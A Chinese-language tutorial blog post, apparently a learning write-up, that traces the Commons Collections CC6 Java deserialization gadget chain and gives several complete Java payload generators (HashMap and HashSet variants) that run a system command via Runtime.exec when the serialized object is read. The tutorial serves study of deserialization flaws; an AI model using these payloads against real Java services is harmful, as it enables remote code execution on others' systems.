简介

学了两条链子之后,CC链都有共同点。相比与CC1,CC6更兼容高版本。他与CC1的lazymap链子后期还是相同的。主要还是通过LazyMap.get。废话不多说,开始。因为LazyMap.get的后续操作与CC1链子差不多,所以我们之前从LazyMap.get往前推。
记得先关掉image.png
不然影响debug。就是我在put的时候打个断点,直接给我弹计算器了,擦。

TiedMapEntry

这是一个公共类。
我们将我们要用的关键方法提取出来。

public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}
public Object getValue() {
    return map.get(key);
}
public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
            (value == null ? 0 : value.hashCode()); 
}

构造方法中可以传一个map.然后我们通过getValue方法使用Lazymap的get方法,进行一个RCE。
也就是说我们要找一个能够执行getValue的方法,并且可控。我们在发现在hashCode中调用了getValue,那么就要找哪儿调用了TiedMapEntry的hashCode
然后这里作者选用了Hashmap的readObejct作为起点,readObject的后面调用了hash

    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
            @SuppressWarnings({"rawtypes","unchecked"})
                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

跟进hash。发现他会调用key的hashCode

static final int hash(Object key) {
    int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

那么将TiedMapEntry设置为key不就好了。
然后通过HashCode然后调用到getValue,然后就到了LazyMap.get。
看链子

ObjectInputStream.readObject()
    HashMap.readObject()
        HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
            TiedMapEntry.getValue()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.getRuntime()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

编写payload

LazyMap.get后面的payload都不变。
原本我们的思路应该是从hashmap出发。
原本我们的payload应该是这样的。

public static void main(String[] args) throws IOException {
    Transformer transformer=new ChainedTransformer(new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    });
    HashMap<Object,Object> hashmap=new HashMap<>();
    Map<Object,Object> lazymap= LazyMap.decorate(hashmap,transformer);
    TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,"aaaa");//将map传入TieMapEntry
    HashMap<Object,Object> hashmap1=new HashMap<>();
    hashmap1.put(tiedMapEntry,"aaaa");
    serialize(hashmap1);
    unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
    ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
    Object obj=ois.readObject();
    return obj;
}

我们发现,serialize的时候确实是弹计算器,但是在unserialize的时候并没有弹计算器。很明显payload有问题。
我们跟进hashmap1.put(记得先做一下我开头简介的操作,不然你会在put这边打个断点,运行debug,直接弹计算器。)
很显然。hashmap1.put调用了hash
image.png
然后
image.png
然后
image.png
然后
image.png
然后到了lazyMap.get
image.png
所以显然,我们的计算机时put的时候弹出来的。
问题就出在这里。
先要搞明白containsKey是干嘛的。
containsKey是用来判断是否包含对应的键名,这边明显是要不存在的键名,如果键名不存在就会用map.put将键名放进去,那么当我们序列化走的时候就走不到里面了。
我们来看我们在main方法中的执行的payload的put执行到lazymap.get的时候他的map,发现是空的。
image.png
是一个空的hashmap,然后在下面有一个put 的操作,故我们要将他put进去的aaa的key给删掉,不然就会导致下一次序列化的时候进不去这个if。
然后最终的payload。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Transformer transformer=new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        });
        HashMap<Object,Object> hashmap=new HashMap<>();
        Map<Object,Object> lazymap= LazyMap.decorate(hashmap,transformer);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,"aaaa");//将map传入TieMapEntry
        HashMap<Object,Object> hashmap1=new HashMap<>();
        hashmap1.put(tiedMapEntry,"bbbb");
        lazymap.remove("aaaa");
        serialize(hashmap1);
        //       unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }


}

此时payload就写好了, 但是还有一个问题。就是他会弹出俩计算器,也就是说,我们这个payload在实战环境中,要生成就会在本地执行一次RCE,显得有些麻烦。
所以我们需要反射,将transformer先设置成faketransformer,然后在序列化的时候再改成有用的。不然在put的时候他会先执行一遍。导致本地RCE。
第二个remove("aaaa"),是为了再一次走进去LazyMap.get。这俩细节点呢,后者比较关键一点,前者的话只是为了不在本地执行一遍。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer transformer=new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        });
        HashMap<Object,Object> hashmap=new HashMap<>();
        Map<Object,Object> lazymap= LazyMap.decorate(hashmap,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,"aaaa");//将map传入TieMapEntry
        HashMap<Object,Object> hashmap1=new HashMap<>();
        hashmap1.put(tiedMapEntry,"bbbb");
        Class c=LazyMap.class;
        Field factoryField=c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap,transformer);
        lazymap.remove("aaaa");
//        serialize(hashmap1);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }
}

ysoserial中的CC6,反序列化的入口类是HashSet
对比两条链

Gadget chain:
        java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()
    ObjectInputStream.readObject()
    HashMap.readObject()
        HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
            TiedMapEntry.getValue()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.getRuntime()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

你会发现就起点变成了HashSet。
在HashSet的readObject中,有一段对map的判断。

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in any hidden serialization magic
        s.defaultReadObject();

        // Read capacity and verify non-negative.
        int capacity = s.readInt();
        if (capacity < 0) {
            throw new InvalidObjectException("Illegal capacity: " +
                                             capacity);
        }

        // Read load factor and verify positive and non NaN.
        float loadFactor = s.readFloat();
        if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        }

        // Read size and verify non-negative.
        int size = s.readInt();
        if (size < 0) {
            throw new InvalidObjectException("Illegal size: " +
                                             size);
        }

        // Set the capacity according to the size and load factor ensuring that
        // the HashMap is at least 25% full but clamping to maximum capacity.
        capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
                HashMap.MAXIMUM_CAPACITY);

        // Create backing HashMap
        map = (((HashSet<?>)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));

        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            @SuppressWarnings("unchecked")
                E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

我们发现默认的构造方法中调用的就是Hashmap。
image.png
故上面判断的map肯定是hashmap。
然后走进hashmap.put,然后调用hash。后面的思路就一样了。
故我们只要new一个hashset,然后将tiedMapEntry放入hashset,其他的思路都不变。
payload如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC6HashSet {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer transformer=new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        });
        HashMap<Object,Object> hashmap=new HashMap<>();
        Map<Object,Object> lazymap= LazyMap.decorate(hashmap,new ChainedTransformer(new Transformer[]{}));
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,"aaaa");//将map传入TieMapEntry
        HashSet hashset=new HashSet<>();
        hashset.add(tiedMapEntry);
        Field field=LazyMap.class.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazymap,transformer);
        lazymap.remove("aaaa");
        //serialize(hashset);
        unserialize("ser.bin");


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }
}